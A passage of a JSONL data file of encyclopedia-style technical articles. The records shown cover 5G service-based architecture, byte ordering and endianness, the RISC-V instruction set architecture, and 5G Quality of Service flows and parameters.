slicing**. Multiple logical networks can run on a single physical network, thus catering to multiple industry verticals.  \n\nIn terms of true business value, Oracle has noted that, \n\n> SBAs provide a set of loosely coupled services that empower communications service providers (CSPs) to be more agile and enable rapid service delivery.\n\n\n### What web technologies are enabling 5G SBA?\n\nTelecom protocols common in earlier generations have been replaced in 5G Core with web technologies. SCCP, TCAP, SCTP and Diameter are some examples that have been replaced with TCP/IP for networking, HTTP/2 at the web application layer and JSON as the data serialization format. For security, TLS is used above TCP layer.  \n\nNetwork functions in SBA are exposed via well-defined Service-Based Interfaces (SBIs). The bottom-up layering of L2, IP, TCP, TLS, HTTP/2 and application layers is formally called the **SBI protocol stack**. \n\nThe interfaces themselves are defined with an Interface Definition Language (IDL) called **OpenAPI Specification**.  \n\nInterfaces are exposed as **RESTful APIs**. 5G SBA has adopted the web's client-server model but a client is called **Service Consumer** and a server is called **Service Provider**. \n\nMany cloud native tools and technologies are enabling 5G SBA: Docker for containerization, Kubernetes for container orchestration, Istio for service mesh, Prometheus for monitoring, Grafana for visualization, and many more. \n\n\n### Could you describe the architecture of 5G SBA?\n\n5G SBA is described by a **reference point representation** that names the points by which each NF connects to other NFs. In practice, the reference points are implemented by corresponding NF **Service-Based Interfaces (SBIs)**. Instead of point-to-point connections, NFs interconnect on a logically shared infrastructure or service bus. For instance, AMF and SMF are connected via the N11 reference point for which the corresponding SBIs are Namf and Nsmf. \n\nSBIs are defined only for the control plane. Thus, the reference point between SMF and UPF is N4. It has no equivalent SBI. Likewise, SBIs are defined for 5G Core functionality. Thus, reference points N1, N2 and N3 that involve the UE or RAN don't have SBIs. \n\n\n### Which are the main functions in 5G SBA?\n\n5G Core has about two dozen **network functions**: Access and Mobility Management Function (AMF), Application Function (AF), Authentication Server Function (AUSF), Binding Support Function (BSF), CHarging Function (CHF), Network Data Analytics Function (NWDAF), Network Exposure Function (NEF), Network Repository Function (NRF), Network Slice Selection Function (NSSF), Network Slice Specific Authentication and Authorization Function (NSSAAF), Policy Control Function (PCF), Session Management Function (SMF), UE radio Capability Management Function (UCMF) and Unstructured Data Storage Function (UDSF), Unified Data Repository (UDR), User Plane Function (UPF) and Unified Data Management (UDM). \n\nAmong the network **entities** are Service Communication Proxy (SCP) and Security Edge Protection Proxy (SEPP). \n\nFor **interworking** with non-3GPP access networks, we have Non-3GPP InterWorking Function (N3IWF), Trusted Non-3GPP Gateway Function (TNGF), Wireline Access Gateway Function (W-AGF) and Trusted WLAN Interworking Function (TWIF). \n\nFor **location services**, NFs include Location Management Function (LMF), Location Retrieval Function (LRF) and Gateway Mobile Location Centre (GMLC). \n\n\n### Could you describe some of the network functions in 5G SBA?\n\nWe note a few of Release 15 NFs: \n\n    + **AMF**: Registration, access control and mobility management.\n    + **SMF**: Creates, updates and removes PDU sessions. Manages session context with UPF. UE IP address allocation and DHCP role.\n    + **UPF**: User plane packet forwarding and routing. Anchor point for mobility.\n    + **NRF**: Maintains updated records of services provided by other NFs.\n    + **NEF**: Securely opens up the network to third-party applications.\n    + **AUSF**: Authentication for 3GPP access and untrusted non-3GPP access.\n    + **PCF**: Unified policy framework to govern network behaviour. Provides policy rules for control plane.\n    + **NSSF**: Selects network slice instances for the UE. Determines AMF set to serve the UE.\n    + **UDM**: Generates AKA authentication credentials. Authorizes access based on subscription data.\n    + **AF**: Interfaces with 3GPP core network for traffic routing preferences, NEF access, policy framework interactions and IMS interactions.\n    + **BSF**: Binds an AF request to the relevant PCF.\n\n### Could you describe an example how services communicate in 5G SBA?\n\nA service producer will register itself with the Network Repository Function (NRF). A service consumer will consult the NRF to discover available NF instances. Thus, the process involves **Service Registration** and **Service Discovery**. \n\nOnce so discovered, the service consumer can **directly consume** authorized APIs exposed by the service producer. These API calls are RESTful: client-server model, stateless calls, unique URIs, and use of HTTP verbs GET/POST/PUT/PATCH/DELETE. \n\n**Indirect communication** is also possible via Service Communication Proxy (SCP). Service registration and discovery still happen with the NRF but this may be delegated to the SCP. Consumers send their requests through the SCP. The SCP itself doesn't expose any network function. \n\nFinally, it's possible to configure consumers with NF profiles of producers. This bypasses service registration and discovery. In fact, the specification identifies this as Model A. Model B is direct communication. Model C and Model D are indirect communications. \n\nAll NF services are detailed in TS 23.502 specification. Services within an NF can call one another but their interactions are not specified in Release 16. \n\n\n### What are the challenges with 5G SBA?\n\n**Security** is one the big challenges with many possible vulnerabilities. JSON is an exact opposite of telecom world's ASN.1. JSON specification is less rigorous and has versioning problems. Implementing and deploying OAuth 2.0 is going to be complex. The web's practice of rapid changes and CI/CD pipelines can make telecom systems less secure. REST APIs have many known vulnerabilities. There are also problems with TLS. \n\nArchitecture, frameworks, libraries and tools need greater **maturity**. Cloud-native architecture was developed for enterprise clouds, not for telecom systems that need low downtime of few minutes per year. Kubernetes lacks networking features such as ECMP, GTP tunnelling, SCTP and LACP. In a distributed environment involving hundreds of nodes, deploying and operating OpenStack and Kubernetes for NFVI and MANO are not trivial. Complexity increases when extensions such as DPDK are included. Traditional network visibility tools must evolve to monitor at the container level.  \n\nWith NFs being developed by many vendors, integration and **interoperability** may become an issue. LTE EPC and 5G Core need to interoperate as well and shouldn't be managed in silos. Legacy OAM tools for 4G that can't handle 5G Core may lead to inefficient operations. \n\n## Milestones\n\n1990\n\nThis is the decade when **Service-Oriented Architecture (SOA)** starts to gain wider adoption. Applications are not monoliths but composed of isolated and independent services. Services are loosely bound together by a standard communications framework.\n\n2000\n\nIn this decade, **Web Services**, a web-based implementation of SOA, becomes popular over proprietary methods such as CORBA or DCOM. \n\n2010\n\nMany web and cloud technologies develop and become popular through the 2010s: the term **microservices** is coined (2011); **REST** and **JSON** become the de facto standard to consume backend data (2012); **Docker** for containerization gets open sourced (2013); and Google open sources **Kubernetes**, a container orchestration system. These developments soon enable the birth of 5G's service-based architecture.\n\nFeb  \n2013\n\nAt Mobile World Congress, **Virtual Evolved Packet Core (vEPC)** solutions are showcased by NEC, Cisco and Intel. In October, NEC claims to be the world's first to offer a vEPC solution on commercial off-the-shelf (COTS) hardware based on Intel architecture. Deployment of vEPC solutions gathers pace and adoption through 2014. By 2015, operators see the value in virtualization of the core network. \n\nJul  \n2016\n\nAt the ÜberConf 2016 conference, Ford and Richards deliver presentations on **service-based architecture**. SOA breaks applications by layers but microservices breaks them by domain. They note that moving a monolithic application to microservices is not a trivial exercise. SBA offers a middle ground with dozens of services rather than hundreds of microservices. Services in SBA may even share a common data storage. \n\nJan  \n2017\n\n3GPP publishes version 0.0.0 of *TS 23.501: System architecture for the 5G System*. In future, this is the main document that would detail 5G Core's service-based architecture. This evolves to version 1.0.0 by June. \n\nDec  \n2017\n\n3GPP publishes **Release 15** \"early drop\". In TS 23.501, this release includes network functions and entities AUSF, AMF, UDSF, NEF, NRF, NSSF, PCF, SMF, UDM, UDR, UPF, AF, 5G-EIR and SEPP. BSF is also included in this release. \n\nJan  \n2018\n\nIn an interview, we come to learn that 3GPP Core Networks and Terminals (CT) Working Groups are interfacing with IETF on how to adopt **QUIC**. As a replacement to the TCP/IP stack in the 5G Core, QUIC may be considered. As of Release 16 (July 2020), QUIC isn't part of 5G Core. \n\nJun  \n2020\n\nTowards supporting **Location Services (LCS)**, relevant network functions are defined in TS 23.273, version 16.0.0. These include Gateway Mobile Location Centre (GMLC), Location Retrieval Function (LRF) and Location Management Function (LMF). \n\nJul  \n2020\n\n3GPP publishes **Release 16** specifications. New capabilities are NEF-based infrequent small data transfer via NAS, which will benefit MTC use cases and IoT applications; indirect communication between network services via Service Communication Proxy (SCP) and implicit discovery; support of trusted non-3GPP access; NF Set and NF Service Set; and more. New NFs include UCMF, NWDAF, CHF, N3IWF, TNGF, W-AGF. \n\nJul  \n2020\n\nA study involving service providers who operator 30% of the world's commercial 5G networks shows that **Unified Data Management (UDM)** is the most tested and deployed network function. This comes from the realization that data is the new gold. Operators wish to control and monetize it.","meta":{"title":"5G Service-Based Architecture","href":"5g-service-based-architecture"}}
{"text":"# Byte Ordering\n\n## Summary\n\n\nA byte (of 8 bits) has a limited range of 256 values. When a value is beyond this range, it has to be stored in multiple bytes. A number such as 753 in hexadecimal format is 0x02F1. It requires at least two bytes of storage. The order in which these two bytes are stored in memory can be different. Byte 0x02 can be stored in lower memory address followed by 0xF1; or vice versa.\n\nPrograms must conform to the byte ordering as supported by the processor. If not, 0x02F1 might be wrongly interpreted as 0xF102, which is the number 61698 in decimal system. Byte ordering is also important when data is transferred across a network or between systems using different ordering. \n\nByte ordering is an attribute of the processor, not the operating system running on it.\n\n## Discussion\n\n### Which are the different byte orderings present in computing systems?\n\nTwo common ordering systems include,  \n\n    + **Little-Endian**: Low-order byte is stored at a lower address. This is also called *Intel order* since Intel's x86 family of CPUs popularized this ordering. Intel, AMD, PDP-11 and VAX are little-endian systems.\n    + **Big-Endian**: High-order byte is stored at a lower address. This is also called *Motorola order* since Motorola's PowerPC architecture used this ordering. Motorola 68K and IBM mainframes are big-endian systems.Some processors support both ordering and are therefore called **Bi-Endian**. PowerPC and Itanium are bi-endian. Bi-Endian processers can switch between the two orderings. Most RISC architectures (SPARC, PowerPC, MIPS) were originally big-endian but are now configurable. While ARM processors are bi-endian, the default is to run them as little-endian systems, as seen in the Raspberry Pi. \n\nDue to the popular adoption of x86-based systems (Intel, AMD, etc.) and ARM, little-endian systems have come to dominate the market. \n\n\n### Could you compare host-byte vs network-byte ordering?\n\nSince computers using different byte ordering, and exchanging data, have to operate correctly on data, the convention is to always send data on the network in big-endian format. We call this **network-byte ordering**. The ordering used on a computer is called **host-byte ordering**. \n\nA host system may be little-endian but when sending data into the network, it must convert data into big-endian format. Likewise, a little-endian machine must first convert network data into little-endian before processing it. \n\nFour common functions to do these conversions are (for 32-bit long and 16-bit short) `htonl`, `ntohl`, `htons` and `ntohs`. \n\nEven if your code doesn't do networking, data may be stored in a different ordering. For example, file data is stored in big-endian while your machine is big-endian. In some cases, CPU instructions may be available for conversion. Intel's 64-bit instruction set has `BSWAP` to swap byte ordering. Since ARMv6, `REV` swaps byte order and `SETEND` to set the endianness. \n\n\n### Aren't conversions redundant for big-endian machines since it already conforms to network-byte ordering?\n\nIt's good programming practice to invoke these conversions since this makes your code *portable*. The same codebase can be compiled for a little-endian machine and it will work. Calling the conversion functions on a big-endian machine has no effect. \n\nWhile a little-endian system sending data to another little-endian system need not do any conversion, it's good to convert. This makes the code more portable across systems.\n\n\n### Are there situations where byte ordering doesn't matter?\n\nWhen data is stored and processed as a sequence of single bytes (not shorts or longs), then byte ordering doesn't matter. No conversions are required when receiving or sending such data into the network.\n\nASCII strings are stored as a sequence of single bytes. Byte ordering doesn't matter. Byte ordering for Unicode strings depends on the type of encoding used. If encoding is UTF-8, ordering doesn't matter since encoding is a sequence of single bytes. If encoding is UTF-16, then byte ordering matters. \n\nWhen storing TIFF images, byte ordering matters since pixels are stored as words. GIF and JPEG images don't care about byte ordering since storage is not word oriented. \n\n\n### What's the purpose of Byte Order Mark (BOM)?\n\nAn alternative to using host-to-network and network-to-host conversions is to send the data along with an indication of the ordering that's being used. This ordering is indicated with additional two bytes, known as **Byte Order Mark (BOM)**. \n\nThe BOM could have any agreed upon value but 0xFEFF is common. If a machine reads this as 0xFFFE, it implies that ordering is different from the machine's ordering and conversion is required before processing the data further. \n\nBOM adds overhead. For example, sending two bytes of data incurs an overhead of additional two bytes. Problems can also arise if a program forgets to add the BOM or data payload starts with the BOM by coincidence. \n\nBOM is not required for single-byte UTF-8 encoding. However, some editors such as Notepad on Windows may include BOM (three bytes, EFBBBF) to indicate UTF-8 encoding. \n\n\n### What are the pros and cons of little-endian and big-endian systems?\n\nIn little-endian systems, just reading the lowest byte is enough to know if the number is odd or even. This may be an advantage for low-level processing. Big-endian systems have a similar advantage: lowest byte can tell us if a signed integer is positive or negative. \n\nTypecasting (say from `int16_t` to `int8_t`) is easier in little-endian systems. Because of the simple relationship between address offset and byte number, little-endian can be easier for writing math routines. \n\nDuring low-level debugging, programmers can see bytes stored from low address to high address, in left-to-right ordering. Big-endian systems store in the same left-to-right order and this makes debugging easier. For the same reason, binary to decimal routines are easier. \n\nFor most part, programmers have to deal with both systems. Each system evolved separately and therefore it's hard to complain about not having a single system.\n\n\n### Is the concept of endianness applicable for instructions?\n\nEndianness is applicable for multi-byte numeric values. Instructions are not numeric values and therefore endianness is not relevant. However, an instruction may contain 16-bit integers, addresses or other values. The byte ordering of these parts is important. \n\nFor example, 8051 has a `LCALL` instruction that stores the address of the next instruction on the stack. Address is pushed to stack in little-endian format. However, `LJMP` and `LCALL` instructions contain 16-bit addresses that are in big-endian format. \n\n\n### How can I check the endianness of my system?\n\nOn Linux and Mac, the command `lscpu` can be used to find endianness. \n\nDevelopers can also write a simple program to determine the endianness of the host machine. In a C program, for example, store two bytes in memory. Then use a `short *ptr` to point to the lower address. Dereference this pointer to obtain a short value, which will tell us if the machine is little-endian or big-endian.  \n\n\n### Do systems differ in the ordering of bits within a byte?\n\nBits within a byte are commonly numbered as Bit0 for the least significant bit and Bit7 for the most significant bit. Thus, bit numbering in a 32-bit integer will be left-to-right order in big-endian, and right-to-left in little-endian. However, some systems such as the OpenXC vehicle interface use the opposite numbering in which the least significant bit is Bit7. Note that in either case, the content remains the same, only the numbering is different. \n\nDanny Cohen in his classic paper on the subject of endianness notes some examples where bit numbering was inconsistent in early computer systems. For example, M68000 was big-endian but the bit numbering resembled little-endian. \n\nIn digital interfaces, bit ordering matters. In Serial Peripheral Interface (SPI), this can be configured based on what both devices support. In I2C, most significant bit is sent first. In UART, either ordering is fine and must be configured correctly at both ends. If not, sending least significant bit first is usually assumed. \n\n## Milestones\n\n1970\n\nPDP-11 released by DEC is probably the first computer to adopt little-endian ordering.  \n\n1980\n\nThe terms big-endian and little-endian are used for the first time in the context of byte ordering. The terms are inspired by Jonathan Swift's novel titled *Gulliver's Travels*. \n\n1983\n\nByte order conversion functions `htonl`, `ntohl`, `htons` and `ntohs` are introduced in BSD 4.2 release.  \n\n1992\n\nFirst samples of an ARM processor came out in 1985. It's only in 1992 with the release of ARM6 that the processor becomes bi-endian. Legacy big-endian is supported for both instructions and data. Otherwise, instructions are little-endian. Data is little-endian or big-endian as configured. While byte ordering can be configured in software for some ARM processors, for others such as ARM-Cortex M3, the order is determined by a configuration pin that's sampled at reset.","meta":{"title":"Byte Ordering","href":"byte-ordering"}}
{"text":"# RISC-V Architecture\n\n## Summary\n\n\nWhen computers \"compute\", they're in fact executing instructions that are defined by what's known as **Instruction Set Architecture (ISA)**. Each computer hardware will support a particular ISA. RISC-V is a free, open ISA that can be extended or customized for a variety of hardware or application requirements. \n\nApart from defining the instructions themselves, to be a success, any ISA requires broad industry support from chip manufacturers, hardware designers, tool vendors, compiler writers, software engineers, and more. While RISC-V is still new, progress has been made in building a healthy ecosystem and first RISC-V chips have been released.\n\nIt's been said that, \n\n> The real value of RISC-V is enabling the software and tools community to develop around a single common hardware specification.\n\n## Discussion\n\n### What's the motivation for creating RISC-V?\n\nMany of the world's PCs and laptops are based Intel's x86 architecture. Many of the world's smartphones and embedded devices are based on ARM architecture. Both are proprietary and any use of these architectures involve licensing cost and may involve royalty fees. Moreover, companies may lack full competency to design their proprietary ISA. Another problem is long-time support. For example, when DEC died, there was no one to support their proprietary ISAs Alpha or VAX. \n\nOne researcher claimed that security flaws such as Meltdown and Spectre are down to flaws in Intel's instruction sets. This is less likely when ISAs are open to inspection by a wide engineering community. \n\nRISC-V is an open ISA. It uses **BSD Open Source License**. This license does not restrict even commercial use of the ISA. Anyone implementing RISC-V are not required to release the source code of their RISC-V cores. The license only requires that authors of RISC-V must be acknowledged. An open ISA will permit software reuse, greater innovation and reduced cost. \n\n\n### Do we need RISC-V when there are other open ISAs?\n\nCreators of RISC-V considered and dismissed other open ISAs. OpenRISC has technical shortcomings and little industry adoption. OpenSPARC is suitable for servers but not for embedded devices and smartphones. OpenSPARC is also licensed under GPLv2, which may not attract support from commercial players. \n\nRISC-V benefits from the mistakes of the past. It has no burden to support legacy instructions. It adopts RISC for its simplicity. By leaving out delayed branches, RISC-V is kept simple and clean. Other open ISAs are not modular. RISC-V is modular so that the right balance of cost and efficiency can be attained for a particular application. In particular, it can be customized for constrained IoT devices, smartphones/tablets or servers. \n\nOne claim states that LatticeMico32 is an open source RISC processor that's some are already using and questions the need for RISC-V. They also state that the ecosystem is more important than having a perfect ISA. \n\n\n### What are some possible benefits of using RISC-V?\n\nBeyond saving on licensing or royalty fees, RISC-V has many benefits:\n\n    + **Universal**: As one of its goals, RISC-V should suit all sizes of processors, all types of implementations (FPGA/ASIC/SoC), various software stacks, and various programming languages.\n    + **Modular**: The ISA has a base specification plus optional extensions. This means designers can leave out stuff they don't need for their application.\n    + **Extensible**: Designers can add custom instructions for specialized functions such as machine learning or security. This is particularly important when Moore's Law is ending.\n    + **Freedom**: Designers have the freedom to work on their own optimized implementations and retain the choice to make their IP open.\n    + **Frozen**: By freezing the ISA specifications, we can be certain that today's software and tools will work on RISC-V systems many decades from now.\n    + **Adoption & Reuse**: By being open, RISC-V will encourage wider adoption because of compatibility. This enables reuse.\n\n### Could you compare RISC-V with alternative architectures?\n\nIn terms of code sizes, one study found RISC-V compressed ISA (RV32C) is similar to Thumb-2, while RV64C has better code density than its alternatives. \n\nIn terms of performance (speed and power), there's no reason to believe that RISC-V processors will fare worse than ARM or x86 processors. It will be dependent on implementation: microarchitectural design, circuit design and processing technology. \n\n\n### Could you name some processors based on RISC-V?\n\nBecause RISC-V is open, anyone can design and develop their own processors without licensing fees. However, design and engineering costs can run into millions of dollars plus a delayed time to market. It therefore makes sense to use IP cores or processors developed by others. \n\nSome offer RISC-V **IP cores** that chip makers can license. Among them are Andes Technology, Codasip, Bluespec, Cortus, and SiFive. There are others who offer **soft cores** that can run in FPGAs: Microsemi, Rumble Development, and VectorBlox. \n\nSiFive has two families of licensable cores: E Series and U Series. They also offer these in silicon plus their development boards. Freedom E310 (FE310) is the first member of the Freedom Everywhere family. \n\nIndia's Shakti is a RISC-V chip developed at IIT Madras.\n\nlowRISC is a fully open-sourced, Linux-capable, RISC-V-based SoC currently being developed. Their Rocket core currently runs on an FPGA. \n\nRISC-V Foundation maintains a list of RISC-V cores and SoCs.\n\n\n### What tools are available for developers who wish to work on RISC-V?\n\nBasic tools include compiler, assembler, disassembler, profiler, debugger, and linker. Beyond these are IDEs, SDKs, simulators, and many more.\n\nTools are being developed and maintained by the team at UC Berkeley plus the wider community outside. RISC-V supports GNU/GCC, GNU/GDB and LLVM. Instruction Set Simulators (ISS) are available from Antmicro and QEMU. Full IDEs are available from Imperas, Microsemi and SiFive. SiFive's Eclipse-based IDE is called Freedom Studio. Tools are available to design your own RISC-V subsystem for FPGAs. \n\nRISC-V Foundation maintains the state of the current RISC-V software ecosystem.\n\n\n### Which operating systems have been ported to run on RISC-V?\n\nDifferent flavours of Linux have been ported to RISC-V, including Yocto. In January 2018, kernel version 4.6 was being used. Researchers at the University of Cambridge have ported FreeBSD. As on August 2018, 80% of Debian software library has been compiled for RISC-V. Fedora/RISC-V project aims to bring the Fedora experience on RV64GC architecture. \n\nAmong the RTOS, Zephyr is planning a port as of August 2018. A port of FreeRTOS is also available.\n\n## Milestones\n\n2010\n\nResearchers at the University of California, Berkeley conceive RISC-V (pronounced \"risk five\") as an ISA for research and education at Berkeley. Previously, they used SPARC ISA and a modified MIPS ISA but want a unified ISA for future projects. This is the fifth generation, following in the steps of four earlier generations in the 1980s. \n\nMay  \n2011\n\nVersion 1.0 of the RISC-V base user-level ISA is published as volume 1. This version is not frozen. Volume 2 is for supervisor-level ISA. About this time, Raven-1 testchip is taped out using ST 28nm FDSOI process node. \n\nMay  \n2014\n\nVersion 2.0 of the user-level ISA is published. This is a final frozen version. \n\n2015\n\nIn January, the 1st RISC-V Workshop is organized in Monterey, CA. To drive the future development and adoption of RISC-V, **RISC-V Foundation** is established. With more than 100 member organizations, this is an open collaborative community including both hardware and software innovators. \n\nDec  \n2016\n\nSiFive releases Freedom E310 32-bit microcontroller at 320 MHz. This is the first commercial RISC-V chip. The CPU core is SiFive E31 and its ISA is RV32IMAC. \n\nOct  \n2017\n\nSiFive releases U54-MC Coreplex, the first RISC-V-based chip that supports Linux, Unix, and FreeBSD. It has 5 CPU cores: 4xU54 + 1xE51. This enables RISC-V processors to compete against ARM cores. In February 2018, SiFive releases a development board named HiFive Unleashed for this chip. \n\nJan  \n2018\n\nIt's reported that commercial players including Western Digital and Nvdia plan to use RISC-V ISA for their next generation of products. \n\nJul  \n2018\n\nIndia's Shakti RISC-V processor at 400 MHz boots up Linux. The processor is based on Intel's 22nm FinFET process node.","meta":{"title":"RISC-V Architecture","href":"risc-v-architecture"}}
{"text":"# 5G Quality of Service\n\n## Summary\n\n\n5G Quality of Service (QoS) model is based on **QoS Flows**. Each QoS flow has a unique identifier called QoS Flow Identifier (QFI). There are two types of flows: Guaranteed Bit Rate (GBR) QoS Flows and Non-GBR QoS Flows. The QoS Flow is the finest granularity of QoS differentiation in the PDU Session. User Plane (UP) traffic with the same QFI receive the same forwarding treatment. \n\nAt the Non-Access Stratum (NAS), packet filters in UE and 5GC map UL and DL packets respectively to QoS flows. At the Access Stratum (AS), rules in UE and Access Network (AN) map QoS flows to Data Radio Bearers (DRBs). \n\nEvery QoS flow has a QoS profile that includes QoS parameters and QoS characteristics. Applicable parameters depend on GBR or non-GBR flow type. QoS characteristics are standardized or dynamically configured.\n\n## Discussion\n\n### Could you explain 5G QoS with an example?\n\nConsider multiple PDU sessions, each of which could be generating packets of different QoS requirements. For example, packets from the Internet may be due to user browsing a website, streaming a video or downloading a large file from an FTP server. Delay and jitter are important for video but less important for FTP download. \n\nBetween the User Equipment (UE) and the Data Network (DN), PDU sessions and Service Data Flows (SDFs) are set up. Each application gets its own SDF. In our example, we may say that Internet, Netflix and IMS are PDU sessions. The Internet PDU session has four SDFs and the IMS PDU session has two SDFs.  \n\nMultiple IP flows can be mapped to the same QoS flow. QoS flow 2 is an example that carries both WhatsApp video and Skype video. On the radio interface, QoS flows are mapped to data radio bearers (DRBs) that are configured to deliver that QoS. Multiple QoS flows can be mapped to a single DRB. DRB2 is an example and it carries QoS flows 2 and 3. \n\n\n### How does the QoS model differ between LTE and 5G networks?\n\nIn 4G/LTE, QoS is applied at the level of Evolved Packet Service (EPS) bearer. There's a one-to-one mapping, which really means that for an EPS bearer there's a corresponding EPS Radio Access Bearer (RAB), an S1 bearer and a Radio Bearer (RB). \n\n5G provides a more flexible QoS model with **QoS Flow** being the finest granularity at which QoS is applied. The abstraction of QoS flow allows us to decouple the roles of 5G Core and NG-RAN. SMF in the 5G Core configures how packets ought to be mapped to QoS flows. \n\nAN independently decides how to map QoS flows to radio bearers. This is a flexible design since gNB can choose to map multiple QoS flows to a single RB if such an RB can be configured to fulfil the requirements of those QoS flows. The figure shows an example in which QoS flow 1 goes on DRB1; QoS flows 2 and 3 go on DRB2. \n\nTo summarize, 4G QoS is at the EPS bearer level and 5G QoS is at the QoS flow level. \n\n\n### Could you describe end-to-end QoS for a PDU session?\n\nApplication packets are classified or mapped to suitable QoS flows by the UPF in DL and UE in UL. UPF uses Packet Detection Rules (PDRs). UE uses QoS rules. Because multiple PDRs and rules can exist, these are evaluated in precedence order, from lowest to highest values. If no match is found, packet is discarded. \n\nOn the N3 interface between UPF and AN, packets are marked with QFI in an encapsulation header. Due to this marking, AN knows which packets belong to which QoS flow. SDAP sublayer in the AN maps the flows to suitable DRBs. At the receiving end, UE's SDAP sublayer does the reverse mapping from DRBs to QoS flows. \n\nA similar flow happens for UL packets. UE marks the packet with QFI in SDAP header. AN does QFI marking in an encapsulation header on N3. UPF verifies if a received QFI is aligned with configured QoS rules or Reflective QoS. \n\n\n### What's the basis for classifying packets into QoS flows?\n\nIn the downlink, UPF uses Packet Detection Rules (PDRs). In the uplink, UE uses QoS rules. Both these make use of Packet Filter Set that has one or more packet filters. \n\nAn **IP Packet Filter Set** is based on a combination of fields: Source/destination IP address or IPv6 prefix; Source/destination port number (could be a port range); Protocol ID of the protocol above IP/Next header type; Type of Service (TOS) (IPv4) or Traffic class (IPv6) and Mask; Flow Label (IPv6); Security parameter index; and Packet Filter direction. \n\nAn **Ethernet Packet Filter Set** is based on a combination of fields: Source/destination MAC address (may be a range); Ethertype as defined in IEEE 802.3; Customer-VLAN tag (C-TAG) and/or Service-VLAN tag (S-TAG) VID fields as defined in IEEE Std 802.1Q; Customer-VLAN tag (C-TAG) and/or Service-VLAN tag (S-TAG) PCP/DEI fields as defined in IEEE Std 802.1Q; IP Packet Filter Set, in the case that Ethertype indicates IPv4/IPv6 payload; and Packet Filter direction. \n\n\n### What are the defaults used in the 5G QoS model?\n\nThe specification defines a **default QoS rule**. Every PDU session is required to have a QoS flow associated with such a default. This flow remains active for the lifetime of the PDU session. This is a Non-GBR QoS Flow to facilitate EPS interworking. \n\nFor IP and Ethernet sessions, the default QoS rule is the only rule with a Packet Filter Set that allows all UL packets, and it has the highest precedence. Note that QoS rules and PDRs are evaluated in increasing order of precedence values. \n\nReflective QoS is not applied and RQA is not sent for a QoS flow that's using default QoS flow. \n\n**QoS parameters** too have defaults. On a per-session basis, SMF obtains from the UDM subscribed Session-AMBR, and subscribed defaults for Non-GBR 5QI, ARP and optionally 5QI Priority Level. Based on interaction with PCF, SMF may change subscribed values. \n\n\n### What's the role of SMF within the QoS model?\n\nQoS flows are controlled by SMF. They're preconfigured or created/updated via PDU Session Establishment or Modification procedures. \n\nSMF interacts with UDM and PCF to obtain subscribed and authorized QoS parameters for each QoS flow. PCF responds with Policy Charging and Control (PCC) Rules that includes Packet Filter Set. SMF extracts QoS Flow Binding Parameters (5QI, ARP, Priority, MDBV, Notification Control) and creates a new QoS flow if one doesn't exist for this combination. The binding of PCC rules to QoS Flows is an essential role of SMF. \n\nSMF associates a QoS flow with QoS profile, QoS rules and PDRs. PDRs are derived from the PCC rule and inherit the precedence value. PDRs are part of SDF Template passed to UPF. SMF sends QoS profile to AN via AMF over N2, QoS rules to the UE via AMF over N1, and PDRs to the UPF over N4. \n\nSMF assigns a QFI for each QoS flow and an identifier to each QoS rule. Both identifiers are unique within the PDU session. \n\n\n### What is meant by Reflective QoS?\n\nFor UL packet classification, SMF provides QoS rules to the UE. Or the UE implicitly derives the rules from downlink packets. This latter case is called **Reflective QoS**. \n\nBoth reflective and non-reflective QoS can coexist within the same PDU session. Reflective QoS applies to IP PDU session and Ethernet PDU session. UE indicates to SMF if it supports Reflective QoS during PDU Session Establishment. UE may change its support and indicate this via PDU Session Modification. UE-derived QoS rule would include UL packet filter, QFI and precedence value. \n\nReflective QoS is controlled per packet. SMF signals the use of **Reflective QoS Indication (RQI)** marking to UPF. SMF signals **Reflective QoS Attribute (RQA)** to the AN via N2 interface. Subsequently, UPF includes RQI for every DL packet of an SDF that's using Reflective QoS. AN indicates the RQI to the UE. \n\nWhen UE receives a DL packet with RQI, it creates or updates the QoS rule for UL traffic. It also starts the **Reflective QoS Timer**. There's one timer per UE-derived rule. The timer is restarted when a matching DL packet is received. Rule is discarded when timer expires. \n\n\n### Which are the 5G QoS parameters?\n\nWe note the following: \n\n    + **5G QoS Identifier (5QI)**: An identifier for QoS characteristics that influence scheduling weights, admission thresholds, queue management thresholds, link layer protocol configuration, etc.\n    + **Allocation and Retention Priority (ARP)**: Information about priority level, pre-emption capability (can pre-empt resources assigned to other QoS flows) and the pre-emption vulnerability (can be pre-empted by other QoS flows).\n    + **Reflective QoS Attribute (RQA)**: Optional parameter. Certain traffic on this flow may use reflective QoS.\n    + **Guaranteed Flow Bit Rate (GFBR)**: Measured over the Averaging Time Window. Recommended to be the lowest bitrate at which the service will survive.\n    + **Maximum Flow Bit Rate (MFBR)**: Limits bitrate to the highest expected by this QoS flow.\n    + **Aggregate Maximum Bit Rate (AMBR)**: *Session-AMBR* is per PDU session across all its QoS flows. *UE-AMBR* is for each UE.\n    + **QoS Notification Control (QNC)**: Configures NG-RAN to notify SMF if GFBR can't be met. Useful if application can adapt to changing conditions. If alternative QoS profiles are configured, NG-RAN indicates if one of these matches currently fulfilled performance metrics.\n    + **Maximum Packet Loss Rate**: In Release 16, this is limited to voice media.\n\n### Could you describe some standardized 5QI values and their QoS characteristics?\n\nSpecification TS 23.501 defines some 5QI values that translate to QoS characteristics commonly used. This leads to optimized signalling, that is, specifying the 5QI value is sufficient, though default values can be modified. For non-standard 5QI values, QoS characteristics need to be signalled as part of the QoS profile. \n\nSMF signals QoS profiles to NG-RAN via AMF. QoS characteristics in these profiles are in fact guidelines to the NG-RAN to configure suitable RBs to carry QoS flows. \n\nThere are about two dozen standard 5QI values, grouped into three resource types: Guaranteed Bit Rate (GBR), Non-GBR, Delay-critical GBR. **QoS characteristics** include resource type, priority level (lower number implies higher priority), Packet Delay Budget (PDB), Packet Error Rate (PER), averaging window (for GBR and delay-critical GBR only), and Maximum Data Burst Volume (MDBV) (for delay-critical GBR only). \n\nConversational voice (5QI=1) has 100ms PDB and 0.01 PER. Real-time gaming (5QI=3) has 50ms PDB and a lower priority. IMS signalling (5QI=5) has stringent PER of 0.000001. Discrete automation (5QI=82) has stringent PDB of 10ms. \n\n\n### Does meeting 5G QoS requirements imply high QoE?\n\nQoS is based on objective metrics whereas Quality of Experience (QoE) is more subjective and based on actual user experience. Thus, it's quite possible to optimize the network to yield better KPIs for QoS without users actually noticing any difference. \n\nDelay, jitter and packet loss are some metrics used to determine QoS. QoE has different concerns: service accessibility, wait times, are users leaving because of poor features, response time, seamless interactivity, etc. QoE depends on user expectations, which can change with evolving technology and applications.  \n\nA 5% packet loss could have little impact for a cloud service but even a 0.5% packet loss could result in huge throughput reduction for another application. It's therefore clear that QoE should consider user and application perspectives, and not just network performance metrics. For example, on the same network with high bitrates an AR application might experience low QoE but a file download has high 